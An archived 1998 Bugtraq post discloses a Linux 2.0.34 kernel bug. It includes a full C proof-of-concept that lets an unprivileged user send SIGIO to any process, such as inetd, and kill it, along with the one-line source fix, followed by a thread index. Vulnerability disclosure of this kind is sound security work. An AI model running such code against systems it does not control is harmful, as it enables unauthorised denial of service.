Bugtraq mailing list archives
Serious Linux 2.0.34 security problem
From: luyer () UCS UWA EDU AU (David Luyer)
Date: Tue, 30 Jun 1998 15:10:47 +0800
I just saw this mentioned on linux-kernel and confirmed it; #include <fcntl.h> #include <errno.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main(int argc, char *argv[]) { int s, p; if(argc != 2) { fputs("Please specify a pid to send signal to.\n", stderr); exit(0); } else { p = atoi(argv[1]); } fcntl(0,F_SETOWN,p); s = fcntl(0,F_GETFL,0); fcntl(0,F_SETFL,s|O_ASYNC); printf("Sending SIGIO - press enter.\n"); getchar(); fcntl(0,F_SETFL,s&~O_ASYNC); printf("SIGIO send attempted.\n"); return 0; } This can kill from a normal user account the inetd process under Linux 2.0.34 by sending a SIGIO. Very bad. The fix is to invert !euid to euid in fs/fcntl.c:send_sigio(); line number is approximately 139. David.
Current thread:
- Re: Solaris 2.6 non-executable stacks, (continued)
- Re: Solaris 2.6 non-executable stacks Casper Dik (Jun 16)
- Re: Vulnerability in 4.4BSD Secure Levels Implementation Darren Reed (Jun 13)
- Re: Vulnerability in 4.4BSD Secure Levels Implementation tqbf () pobox com (Jun 11)
- Re: Vulnerability in 4.4BSD Secure Levels Implementation Niall Smart (Jun 13)
- Re: Vulnerability in 4.4BSD Secure Levels Implementation Tim Newsham (Jun 26)
- check-ps 1.2 alpha 4 released Duncan Simpson (Jun 26)
- Re: Vulnerability in 4.4BSD Secure Levels Implementation tqbf () pobox com (Jun 14)
- Re: Vulnerability in 4.4BSD Secure Levels Implementation Niall Smart (Jun 28)
- Re: Vulnerability in 4.4BSD Secure Levels Implementation Tim Newsham (Jun 28)
- Re: Vulnerability in 4.4BSD Secure Levels Implementation Roger Harrison ? (Jun 29)
- Serious Linux 2.0.34 security problem David Luyer (Jun 30)
- Re: Serious Linux 2.0.34 security problem Jim Bourne (Jun 30)
- QPOPPER - FreBSD, BSDI/OS remote exploit MiG (Jun 30)